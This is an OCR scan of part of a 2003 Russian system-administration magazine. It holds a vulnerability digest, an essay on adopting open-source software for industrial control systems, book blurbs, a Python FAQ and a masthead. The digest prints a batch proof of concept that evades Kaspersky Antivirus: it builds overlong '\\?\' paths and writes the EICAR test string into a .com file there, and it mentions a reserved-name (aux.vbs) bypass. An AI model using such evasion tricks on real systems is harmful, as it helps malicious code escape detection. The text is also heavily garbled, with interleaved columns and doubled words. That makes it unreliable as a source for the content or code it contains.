в Microsoft Windows 4.0/2000/XP Обнаружено несколько уязвимостей в «Антивирусе
Microsoft Locator service – служба имен, которая позволя- Касперского», которые могут использоваться для DoS-
ет пользователю найти в корпоративной сети других ак- атаки и обхода проверки злонамеренного кода.
тивных пользователей. Сервис поставляется с Windows Файловая система NTFS позволяет создавать пути по-
NT 4.0, Windows 2000 и Windows XP. По умолчанию служ- чти неограниченной длины. Но Windows API не позволяет
ба Locator включена только на контроллерах домена создавать пути длиннее 256 байтов. Чтобы обойти это огра-
Windows 2000 и Windows NT 4.0. В Locator service обнару- ничение, можно использовать в пути к файлу префикс ‘\\?\’ .
жена возможность удаленного переполнения буфера. Это документированная особенность Windows API. Путь
Посылая специально сформированный запрос с Locator длиннее 256 символов приведет к зависанию KAV-службы
service, атакующий может аварийно завершить работу или заставит ее потреблять 100% ресурсов CPU. Возможно,
службы или выполнить произвольный код с системными уязвимость может использоваться для выполнения произ-
привилегиями. Уязвимость обнаружена в Microsoft вольного кода. Длинный путь может также использоваться
Windows NT 4.0, Windows 2000, Windows XP. для обхода проверки антивирусом. Пример:

Авторизованный доступ A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
в Macromedia ColdFusion MX AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Уязвимость конфигурации обнаружена в Macromedia’s mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
ColdFusion MX. Удаленному авторизованному пользовате- mkdir \\?\c:\%A%\%A%\%A%
лю могут неправильно предоставить доступ к файлам в не- mkdir \\?\c:\%A%\%A%\%A%\%A%
mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%
которых конфигурациях, использующих NT-идентификацию. mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%\%A%
Согласно сообщению, когда ColdFusion MX использу- echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-
ANTIVIRUS-TEST-FILE!$H+H*
ется совместно с Microsoft IIS, Windows NT Authentication >\\?\c:\%A%\%A%\%A%\%A%\%A%\%A%\%A%.com
и NTFS file permissions, необходимо конфигурировать IIS,
чтобы проверять разрешения файлов перед прохождени- обратите внимание: SET A=A..A – одна строка!
ем запроса к ColdFusionMX. Если это не конфигурирова- NTFS файл с именем aux.vbs или aux.com, содержа-
но, то удаленный заверенный пользователь может полу- щий злонамеренный код, не будет проверен антивирусом.
чить неавторизованный доступ к ColdFusion-шаблонам и Уязвимость обнаружена в Kaspersky Antivirus 4.0.9.0 и
каталогам. Уязвимость обнаружена в ColdFusion MX. более ранних версиях.

№3(4), март 2003 89


ПОЧЕМУ
OPENSOURCE?
(ТОЧКА ЗРЕНИЯ РАЗРАБОТЧИКА)

Движение
Движение OpenSource
OpenSource (под
(под движением
движением вв данном
данном случае
случае понимается
понимается деятельность
деятельность не
не только
только
OpenSourceFoundation,
OpenSourceFoundation, ноно ии всех
всех ее
ее сторонников
сторонников ии «идеологических»
«идеологических» союзников)
союзников) вв настоящее
настоящее
время
время носит
носит уже
уже столь
столь массовый
массовый характер,
характер, что
что не
не замечать
замечать его
его просто
просто невозможно.
невозможно. Перспектива
Перспектива
использования
использования «свободного»
«свободного» ПО ПО возникла
возникла ии перед
перед коллективом,
коллективом, на
на протяжении
протяжении многих
многих лет
лет
занимающимся
занимающимся разработкой
разработкой ии эксплуатацией
эксплуатацией АСУТП
АСУТП вв аэрокосмической
аэрокосмической области.
области. Размышлениями,
Размышлениями,
результатами
результатами ии приобретенным
приобретенным вв ходе
ходе первой
первой попытки
попытки использования
использования свободного
свободного ПОПО опытом
опытом мы
мы
хотим
хотим поделиться.
поделиться. Итак,
Итак, по
по порядку...
порядку...

ВЛАДИМИР ПОПОВ
IMHO
Цена дется ему в полтора раза дешевле, PowerPC имеет больше общего с Unix,
Да, господа. Время изменилось, и а для рабочих станций Windows- чем с MSDOS. Другими словами,
разработка начинается с экономи- 2000 вообще покупать не нужно. стремление сузить количество ис-
ческого планирования. АСУТП, к со- Далее... пользуемых операционных систем
жалению, не бывают бесплатными, «подталкивает» скорее к Unix, неже-
да и просто дешевыми. Для управ- Мораль ли к Microsoft Windows.
ления технологическим процессом А может, обойдемся без покупки ли- Во-первых, нам предстояло выб-
обязательно потребуются УСО (уст- цензионного ПО? Как раньше?... Вот рать ОС для рабочих станций. Вы-
ройства связи с объектом) и, как об этом пришлось забыть сразу по бор, как выяснилось, достаточно
правило, технологические компью- нескольким причинам. Во-первых, широк: Linux, FreeBSD и т. д. Все на-
теры, отличающиеся от ставших уже уровень открытости таков, что оче- званные ОС, как и их антиподы из
всем привычными персоналок мно- редной гость может оказаться и пред- мира коммерческого ПО, являются
гим, что потребовалось для дости- ставителем почтенной Microsoft – вот ОС общего назначения. На другое
жения большей надежности, и, ко- неловко-то будет... Во-вторых, пото- мы, собственно, и не рассчитывали,
нечно, ценой. За эти компоненты му что сделанное даже для себя – но было приятной неожиданностью
системы придется платить вне зави- все-таки товар, и продать его – меч- узнать, что лидер по популярности
симости от того, являетесь вы при- та любого разработчика, а в такой среди свободных ОС – Linux – име-
верженцем Microsoft или Linux, но ситуации использование «пиратско- ет как минимум две реализации,
разница обнаруживается уже здесь: го» ПО уже не просто неэтично – не- ориентированные на работу в усло-
довольно часто одни и те же пакеты допустимо. В-третьих, стоимость виях реального времени: RT Linux и
для разных платформ имеют разную этого ПО в составе комплекса все- KURT. Функционально аналогичные
цену, и почему-то для Windows NT таки не является определяющей: расширения сущес твуют и для
стоят дороже. Оставим это на сове- чтобы оно не оказалось «ложкой Windows NT, но... не бесплатные, как
сти фирм-разработчиков этих паке- дегтя», отбросим сомнения: востор- вы уже догадались. Но это к слову:
тов... Перейдем от ПО специально- ги по поводу «доступности» коммер- наши требования к ОС для рабочих
го к ПО широкого назначения, кото- ческого ПО на просторах пост-СССР станций не выходили за пределы
рое в состав комплекса тоже входит, оставим старшеклассникам и поста- возможностей любой из названных
если входят в его состав компьюте- раемся «играть» по общепринятым ОС. Быть может, чуть заманчивее
ры широкого назначения, а это, как в мире правилам, хотя бы в области выглядел Linux: чего только на нем
правило, так. Здесь, конечно, пре- собственных разработок. А на офис- не делают... И роботы, и PDA, и ком-
имущество за свободным ПО: оно ные компьютеры глаза закроем, бу- муникационное оборудование... И
«почти» бесплатно. Надо сказать, дем полагать: пока. Да и не только почти все это можно посмотреть...
что речь идет о суммах не столь уж моральный аспект следует прини- Заманчиво. Пробуем Linux!
малых: не Windows-98 придется по- мать во внимание, предполагая ис- Прежде всего нас интересовали
купать, а средства разработки. Сле- пользование нелицензированного коммуникационные возможности.
дующее, что нужно учесть при рас- ПО: 400 млн.долларов прямых убыт- Как и следовало ожидать, все сете-
смотрении экономического аспекта ков Украины после введения санк- вые средства Unix оказались в на-
проекта, – это зарплата программи- ций за нарушение прав интеллекту- шем распоряжении. А средства эти
стов, то есть непосредственных ис- альной собственности впечатляют. многого стоят. Несмотря на все ста-
полнителей. Отметим только, что Итак, размышления для нас закон- рания Microsoft связать свое имя с
затраты по этой статье не зависят чились тем, что, по крайней мере, сетями, у специалистов последние
от того, для какой операционной оценить возможность использования ассоциируются все-таки скорее с
среды и какими средствами работа- свободного ПО при создании задуман- Unix. Достаточно вспомнить попыт-
ют эти самые программисты. Ска- ного комплекса – стоит. Приступим... ки противос тояния MicrosoftNet-
занное справедливо, по крайней Internet, NetBEAU-TCP/IP, и можно
мере, для организаций бюджетных Первые впечатления. смело предположить, что на комму-
или лишь недавно утративших свой Возможности никационные средства Unix поло-
государственный статус. И после- По-прежнему предметом изложения житься можно. Что мы и сделаем.
днее по поводу финансов. Все выше- будет только личный опыт. Для нача- Далее для нашего комплекса
сказанное – попытка оценить себес- ла можно отметить одно обстоятель- нужна была сетевая СУБД: не слиш-
тоимость, основную составляющую ство: в ОС для технологических ком- ком сложная (откуда сложные зап-
цены, за которую созданный продукт пьютеров отчего-то легче угадывает- росы в АСУТП?), хорошо адаптиро-
может быть продан. Цена же – ору- ся родство с Unix-клоном, нежели с ванная к использованию в сети и с
жие в конкурентной борьбе, и не Microsoft Windows. Удивительного в минимальным временем обработки
нужно от этого отмахиваться: занят- этом ничего нет, если принять во вни- запросов. Вряд ли хорошим канди-
но было видеть, как реагировал мание историю развития вычисли- датом на эту роль можно считать
партнер «с востока», когда узнал, тельной техники последних 20-ти лет, Microsoft SQL: довольно высокие
что при исполнении проекта на Linux но для «неофитов» от Microsoft может аппаратные требования, абсолют-
необходимый SCADA-пакет обой- показаться странным, что OS9000 для ные требования к платформе серве-

№3(4), март 2003 91


IMHO
ра, неважные отзывы о скоростных http-сервер в Интернете. Хотя про- ведения окон («всплывание», «скры-
характеристиках. Что же касается бовали и thttpd, заинтересовавшись вание», вывод на «передний план»,
визуальных средств генерации форм его скоростными возможностями: «активность» в зависимости от по-
и запросов, то почему-то они нас не действительно – быстро. Только ког- ложения указателя мыши или кли-
заинтересовали. Лидер рынка, да дошло до вывода таблиц объе- ков (разными бутонами и разное ко-
Oracle, также не стал нашим выбо- мом в сотни килобайт, что-то наш личество раз), или действий прило-
ром, хотя его SQL-сервер уже готов thttpd «засбоил» и, не желая терять жения); поддержка трех бутонов
был работать на любой платформе, время на выяснение в общем-то вто- мыши, «колесика» (scroll); множе-
включая Linux. Не оставляло ощуще- ростепенных для нас деталей, мы ство десктопов; абсолютно настра-
ние, что мы будем «стрелять из пуш- вернулись к Apache. иваемые меню и инструментальная
ки по воробьям». Среди представи- Теперь предстояло определиться панель. На последнем хочется оста-
телей свободного ПО наше внима- со средствами реализации графи- новиться подробнее: фактически,
ние привлек MySQL. Скромные раз- ческого интерфейса АРМ рабочих мы получили заготовку для «заглав-
меры, популярность в качестве SQL- станций. И здесь свободное ПО ока- ного» окна нашего АРМ, поскольку
сервера в Интернет, работает на залось на высоте. XFree86 если и ни единого элемента, заданного не
всех платформах. Даже недостатки уступает MS Windows, то только в нами на экране, просто не было. Бо-
его в нашем случае выглядели дос- скорости графического вывода и ко- лее того, пользователь оказался
тоинствами: неумение работать с личестве поддерживаемых видео- практически лишен возможности из-
так называемыми record-set-ами, карт. Что касается второго, то дей- менить настройки десктопа или вы-
как и некоторые другие «изъяны», ствия производителей видеоадапте- полнить команду, кроме тех, кото-
оказались нам совершенно не нуж- ров, снабжающих свои изделия рые предлагает ему АРМ. Наверное,
ны: высокая реактивность и компак- прежде всего драйверами для самой кому-то такой подход к пользовате-
тность, которые вряд ли бы выигра- распространенной ОС для дескто- лю покажется «иезуитским», но по-
ли от расширения возможностей пов, естественны. Что же до скоро- верьте: ограничение возможности
сервера, для нас были значительно сти, то сравнение несколько некор- ошибки оператора весьма и весьма
важнее. Открытый код позволяет ректно: сравнивать нужно исклю- насущная задача для АСУ. Похоже,
написать интерфейс к этой СУБД чительно с Windows NT, а еще точ- все необходимое мы нашли. Можно
практически для любой вычисли- нее – с ее терминальным сервером, было переходить к реализации, что
тельной системы, в которой есть С- поскольку XFree86 – сервер, дей- и было сделано.
компилятор и которая умеет рабо- ствительно способный обслуживать
тать с TCP-сокетами (обязательно сразу несколько клиентов: дескто- Работа
сделаем это для OS9000). Популяр- пов или сетевых станций. Признать- Прежде всего мы определились со
ность в Интернете сделала свое ся, мы были приятно удивлены. Во- средствами программирования: в на-
дело: на www.mysql.com, кроме API первых, количес твом доступных шем распоряжении были С, С++ и
для ansi «C», написанного разработ- оконных менеджеров (а именно они Perl. Конечная реализация на C/C++
чиками самого сервера, можно об- определяют вид и возможности дес- сомнениям в общем-то не подверга-
наружить API для «С++», Java, а для ктопов в X-Window), во-вторых, их лась, а вот «макетирование» с ис-
Perl – даже несколько, с разными качеством (очень трудно найти воз- пользованием Perl интересно было
скоростными характеристиками, на- можнос ти, которые имели бы попробовать.
писанными независимыми разра- Microsoft Windows, но не имели бы Впервые в наших руках был ин-
ботчиками. Масса средств редакти- последние версии KDE или Gnome, терпретатор, имеющий доступ прак-
рования и администрирования: от зато обратное возможно, и это, тически ко всем возможностям ОС,
консольных, принадлежащих перу прежде всего, возможнос ти на- допускающий объектную ориента-
авторов, до графических для любых стройки), в-третьих, количеством цию и довольно близкий по синтак-
платформ, включая Microsoft так называемых «тем» (сам менед- сису к С. Коммуникационные, впро-
Windows. Есть и средства доступа жер обычно определяет возможно- чем, и все другие возможности ОС
через веб-интерфейс (как раз это сти десктопа, внешний же вид – фун- доступны из Perl через общие с С
мы предполагали разработать для кция темы). Однако мы увлеклись: библиотеки. API к MySQL – анало-
удаленного контроля с компьютеров, для нашей задачи нас интересова- гичны. Что же касается графических
не являющихся частью сетевого сег- ли практически только возможнос- библиотек Tk и Gtk (мы использова-
мента комплекса). Одним словом, ти настройки поведения окон и сис- ли только эти), то модуль Gtk-Perl
«глаза разбегаются». Пожалуй, и темы управления (меню, инструмен- делает возможными обращения к
этот выбор мы сделали. тальные панели и т. п.). Здесь мы ос- собственно объектной библиотеке
Наверное, можно было бы и не тановили свой выбор на IceWM: од- Gtk, а модуль Perl-Tk имеет даже
рассказывать, что когда нам потре- ном из самых «аскетичных», но в то собственные расширения этой весь-
бовался http-сервер для организа- же время быстрых и надежных окон- ма популярной в мире Unix-графи-
ции удаленного администрирования ных менеджеров. Большего, при- ческой библиотеки. Одним словом,
через веб-интерфейс, мы использо- знаться, мы не могли желать: боль- все необходимое было налицо и мы
вали Apache – самый популярный шинство из известных вариантов по- не обманулись в своих ожиданиях.

92
IMHO
Справедливости ради нужно ска- стоинствах, или не отдавая себе от- опыт использования свободного ПО
зать, что среди средств разработки чет в собственной некомпетентнос- для разработки комплексов АСУТП
под Linux существуют интегрирован- ти. Второе, конечно, не исключает- удавшимся.
ные среды, ставшие привычными в ся, но все-таки, скорее, исключение, Последняя особенность, которую
последнее десятилетие стараниями, чем правило: что-то я не слышал о мы вполне оценили только на пос-
прежде всего, Borland и Microsoft, программистах-графоманах. леднем этапе – это командный язык,
однако мы их пока не использова- Наверняка, наше знакомство со позволивший посредством создания
ли, поэтому и не упоминаем. А вот средствами разработки, являющи- очень простых командных файлов
некоторые другие моменты упомя- мися ПО с открытым кодом, не по- объединить независимые части ком-
нуть необходимо. зволяет судить о состоянии этого плекса, скрыть от оператора слож-
Во-первых, это вопрос докумен- сектора индустрии «в целом», но по- ность некоторых действий, а привя-
тации. Слухи об исчерпывающей до- нравившиеся продукты хочется на- зав эти файлы к процессу загрузки
кументированности Linux не оказа- звать. Это прекрасные компиляторы и используя возможности демонов
лись преувеличением. Скорее на- gnu C и C++; поражающий своей периодического запуска, мы прида-
оборот: документации слишком мно- продуманностью и модифицируемо- ли системе иллюзию «автоматично-
го, что не облегчает поиск. Беда в стью редактор vim; интерпретатор, сти». Эти возможности опять-таки
том, что желающих написать и опуб- способный соперничать в скорости не являются прерогативой Linux и
ликовать в Сети тот или иной доку- с откомпилированными задачами, – свободных ОС вообще: все это дос-
мент оказывается больше, чем же- Perl; охватывающая, кажется, все тоинства Unix, но не остановись мы
лающих изъять устаревший, непол- возможности программирования в на Linux, эти достоинства так и ос-
ный или уже неактуальный более (в графической среде библиотека Tk, тались бы для нас известными толь-
силу появления новых) документ. и изысканная, даже авангардная ко понаслышке.
Тем более, что это все-таки преро- Gtk. Мы не перечисляем «исконные» Одним словом, так как когда-то
гатива автора, который, не исклю- программы Unix, такие как grep или мы перешли от RSX и RT к продук-
чено, на настоящий момент уже и diff, поскольку они не являются час- там Microsoft, так сейчас склонны
забыл о собственном детище. Из- тью исключительно свободного ПО, расстаться с последними в пользу
держки свободы? Возможно, но это но признаем, что наличие этих про- свободного ПО. Тому много основа-
все-таки лучше, чем отсутствие до- грамм в свободных ОС, безусловно, ний: экономических и идеологичес-
кументации. Можно возразить, что их сильная сторона. ких, политических и технических, ни
MSDN – тоже весьма обширный ис- одно из которых не является, прав-
точник информации, но различие в Результат да, определяющим. Но попробовать
информации о том, «какие API-вы- Как, собственно, следует из изложе- стоит.
зовы нужно использовать» и «как ния, он положителен. Мы считаем У нас получилось.
именно реализована эта функция и
почему ее лучше использовать
именно так» все-таки заметны. О
цене «Microsoft Developer Network
Library» я вообще умолчу...
Во-вторых, безусловно, приятно
ощущать дух сотрудничества, всегда
присутствующий в общении разра-
ботчиков OpenSource. Благодар-
ность предшественникам, присут-
ствующая в любом readme, сопро-
вождающем пакет свободного ПО, не
только «хороший тон» – это, как пра-
вило, благодарность искренняя и не-
безосновательная. CPAN, freshmeat,
SourceForge – прекрасные иллюстра-
ции этому. Буквально «горы» ПО с
открытым исходным кодом, отсорти-
рованные, часто прекрасно докумен-
тированные и буквально «пропитан-
ные» духом сотрудничества.
В-третьих, часто, хотя, наверное,
не всегда, это высокий профессио-
нализм. Представить свой код на
всеобщее рассмотрение можно или
будучи вполне уверенным в его до-

№3(4), март 2003 93


книжная полка
Во втором, улучшенном и В книге обсуждаются
обновленном издании кни- вопросы профессиональ-
ги, посвященной новой тех- ной разработки приложе-
нологии информационной ний в Borland Delphi 7 и
безопасности – обнаруже- особое внимание уделя-
нию атак, систематизируют- ется практике програм-
ся разрозненные данные о мирования.
приемах совершения атак, Представлено де-
исследуются различные тальное описание объек-
критерии атак и признаки тной концепции, стан-
их обнаружения, источники дартных и программных
информации об атаках и технологий, используе-
методы их анализа. Приве- мых при работе програм-
дена подробная классифи- мистов.
кация систем обнаружения Значительная часть
атак с примерами конкрет- материала посвящена
ных отечественных и зарубежных решений. Рассматривают- разработке приложений, базирующихся на широко ис-
ся критерии выбора систем обнаружения атак для различных пользуемых и перспективных технологиях доступа к
групп потребителей, имеющих разные приоритеты при пост- данным: ADO, dbExpress, InterBase Express.
роении инфраструктуры обнаружения атак. Большое внима- Распределенным многозвенным приложениям и тех-
ние уделено практике эксплуатации систем обнаружения атак, нологии DataSnap также отведено достойное место. Все
включая вопросы их установки и размещения. Впервые све- рассматриваемые в этой книге темы сопровождаются
дены воедино и описаны недостатки существующих средств подробными примерами, которые помогут быстро ос-
обнаружения атак и способы их преодоления. воить данный этот язык программирования.
ISBN 5-94157-246-8, 608 стр ISBN 5-94157-116-Х 784 стр.

Книга посвящена опера- Книга известного экспер-


ционной системе Linux. та по сетевым технологи-
Приводятся подробные ям, автора и редактора
сведения о ее особеннос- многих публикаций К.За-
тях и возможностях, иде- кера представляет собой
ологии файловой систе- полное руководство по со-
мы, инсталляции и основ- зданию, конфигурирова-
ных командах, вопросах нию и обслуживанию ло-
компиляции ядра, на- кальных сетей. Подробно
стройках и сервисах. рассматриваются особен-
Большое внимание ности применения аппа-
уделяется организации на ратногои программного
базе Linux различных сер- обеспечения, возможнос-
веров и служб: электрон- ти различных версий сете-
ной почты, WWW, FTP, вых операционных систем
INN, Proxy, NTP, а также Windows, Novell NetWare,
проблемам администрирования сети, обеспечения безопас- UNIX и их компонентов, проводится детальный разбор
ной работы и пр. Описаны способы настройки под Linux практически всех используемых ныне технологий и ком-
рабочих станций, в т. ч. и бездисковых, установки и эксп- муникационных протоколов, таких как Ethernet и Token
луатации на них графических сред типа X Window, а также Ring, от стандартов ранних версий до современных. Кни-
конфигурирование модемных соединений, принтеров и ска- га содержит обзор популярных технических и программ-
неров, отладка взаимодействия с Linux-машинами такой ных решений для WWW, затрагивает взаимодействие ло-
“экзотической“ периферии, как карманные компьютеры, мо- кальных и глобальных сетей на всех уровнях. Также осве-
бильные телефоны, TV-тюнеры и т. п. Рассматриваемые в щаются вопросы функционирования различных сетевых
книге конфигурационные файлы и структура каталогов со- служб и сервисов (DNS, WINS, DНСР). Дается множество
ответствуют дистрибутиву Red Hat Linux 7.x, тем не менее, полезных рекомендаций, которые будут интересны как
при минимальной адаптации все упоминаемые в книге па- профессионалам, так и новичкам. Для сетевых админис-
кеты устанавливаются в любом дистрибутиве Linux. траторов и проектировщиков сетей.
ISBN 5-94157-146-1, 888 стр. ISBN 0-07-212256-0, 5-94157-042-2, 1008 стр.

94
FAQ Python
ВОПРОС: ВОПРОС:
В Python начало и конец блока кода обозначаются от- Мне нужно использовать библиотеку xyz в програм-
ступом. А почему бы не отмечать их явно, например, с ме на Python, что делать?
помощью BEGIN и END, как в Паскале, или скобок { и },
как в C? ОТВЕТ:
Во-первых, нужно поискать в WWW (например, на
ОТВЕТ: http://google.com), не написал ли кто-нибудь привязку
К обязательности отступов в Python очень быстро при- xyz к Python. Если поиски не дали результата, можно по-
выкаешь. Однако если уж так хочется явно обозначать пробовать инструменты для полуавтоматической привяз-
конец блока, это можно сделать, например, так: ки библиотек: SWIG для C/C++ или Boost C++. Создание
def f(x): if x >= 0: return x else: return -x #end if модулей расширения подробно описано в документации
#end def по Python, см. http://python.org/doc/current/api/api.html.
Здесь используется тот факт, что интерпретатор Если вы используете Jython, а библиотека написана
Python игнорирует все, что следует за решеткой (при- на Java, ее классы можно просто импортировать из
знаком комментария). Jython, так как Jython прозрачно интегрирован с Java.
Для тех, кто любит лишние скобки:
ВОПРОС:
def f(x): #{ if x >= 0: return x else: return -x #}
Как программа на Python может загрузить заданный
ВОПРОС: URL?
Как программа на Python может загрузить заданный URL?
ОТВЕТ:
ОТВЕТ: Например, так:
Например, так:
def f(x): #{ if x >= 0: return x else: return -x #}
import urllib page = urllib.urlopen(«http://
www.onego.ru»).read() Составил Роман Сузи

Подписка 81655
на 2-е
полугодие
2003 года

Единый
подписной
индекс:

81655 81655

по каталогу
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№3(4), март 2003 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№ 3(4), Март, 2003 год

РЕДАКЦИЯ ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь НОМЕРЕ:
Наталья Хвостова
sekretar@samag.ru
RADIUS Разводной мост на Linux
Технический редактор RADIUS (Remote Authentication Dial In (Bridging Firewalls)
Владимир Лукин User Service) служит для аутентифи- Для подключения телекоммуникаци-
кации телефонных линий, что видно онных сетей к Интернету провайдер
РЕКЛАМНАЯ СЛУЖБА из названия. Обычно radius использу- на целую сеть выделяет обычно все-
тел.:(095)928-8253 (доб. 112) ется маршрутизаторами Сisco для го лишь один реальный IP-адрес, а
факс:(095)928-8253 организации модемных линий. Если далее вы организуете у себя компь-
Константин Меделян кто интересуется, чем же таким при- ютер-шлюз, за которым располага-
reklama@samag.ru мечателен radius, то отвечу: протокол ете вашу сетку с адресами вида
radius, с моей точки зрения, является 192.168.x.x (либо 172.16.0.0/12, либо
Верстка и оформление логическим продолжением традиций 10.0.0.0/8) из RFC 1918.
imposer@samag.ru tacacs-сервера, но он поддерживает На компьютере-шлюзе обычно
maker_up@samag.ru больше возможностей и организован имеется две сетевые карты, и на
намного лучше. Особенно мне понра- нём поднимаются либо прокси-сер-
103012, г. Москва, вилась возможность проверки раз- вера тех или иных сервисов, либо
Ветошный переулок, дом 13/15 личных NAS по ключу и IP-адресу. NAT (трансляция адресов или мас-
тел.: (095) 928-8253 (доб. 112) Сервер freeradius особенно меня по- карадинг), либо всё сразу. Такая
факс: (095) 928-8253 радовал тем, что он содержит значи- конфигурация встречается очень
Е-mail: info@samag.ru тельное количество модулей аутенти- часто, поэтому в литературе хоро-
Internet: www.samag.ru фикации (например: sql, ldap, unix- шо описано, что и как настраивать.
passwd, samba-passwd). Огорчает Однако если у вас случай, когда все
РУКОВОДИТЕЛЬ ПРОЕКТА только относительная молодость про- адреса, выделенные вам провайде-
Петр Положевец токола, отсутствие качественной до- ром, являются реальными, то в дан-
кументации по бесплатным серверам, ной ситуации существует также не-
УЧРЕДИТЕЛИ отсутствие поддержки протокола ста- сколько решений по организации
Владимир Положевец рыми NAS. Последний пункт меня осо- сети. В литературе про это пишут
Александр Михалев бенно опечалил: мои любимые комму- меньше, поэтому об одном очень
таторы Cisco Catalyst, что прекрасно удобном способе организации я и
ИЗДАТЕЛЬ работали с tacacs-сервером, наотрез попробую рассказать.
ЗАО «Издательский дом отказались от работы с radius. Но в
«Учительская газета» последних моделях Cisco и многие
другие производители NAS поддержи- Установка и настройка
Отпечатано типографией вают radius. сервера Jabber на
ООО «Мастер Печати» платформе Linux
Тираж 5000 экз. Что же такое Jabber? Это открытый
Абсолютно все о ATM XML-протокол, предназначенный для
Журнал зарегистрирован Технология асинхронного режима пе- мгновенного обмена сообщениями
в Министерстве РФ по делам печати, редачи (Asynchronous Transfer Mode, между узлами в Интернете.
телерадиовещания и средств мас- ATM) разработана как единый универ- Коротко перечислю основные
совых коммуникаций (свидетельство сальный транспорт для нового поколе- преимущества Jabber:
ПИ № 77-12542 от 24 апреля 2002г.) ния сетей с интеграцией услуг, кото-  Открытый протокол: над развити-
рые называются широкополосными се- ем Jabber работает большое коли-
За содержание статьи ответственность тями ISDN (Broadband-ISDN, B-ISDN). чество людей, доступны различ-
несет автор. За содержание рекламно- По планам разработчиков единооб- ные реализации и библиотеки. Все
го обьявления ответственность несет разие, обеспечиваемое ATM, будет спецификации и документация на-
рекламодатель. Все права на опубли- состоять в том, что одна транспортная ходятся в свободном доступе;
кованные материалы защищены. Ре- технология сможет обеспечить не-  Поддержка unicode. Для нас это
дакция оставляет за собой право изме- сколько перечисленных ниже возмож- означает отсутствие проблем,
нять содержание следующих номеров. ностей, то есть подразумевалось сде- связанных с различными кодиров-
лать эту технологию универсальной. ками русского языка.

96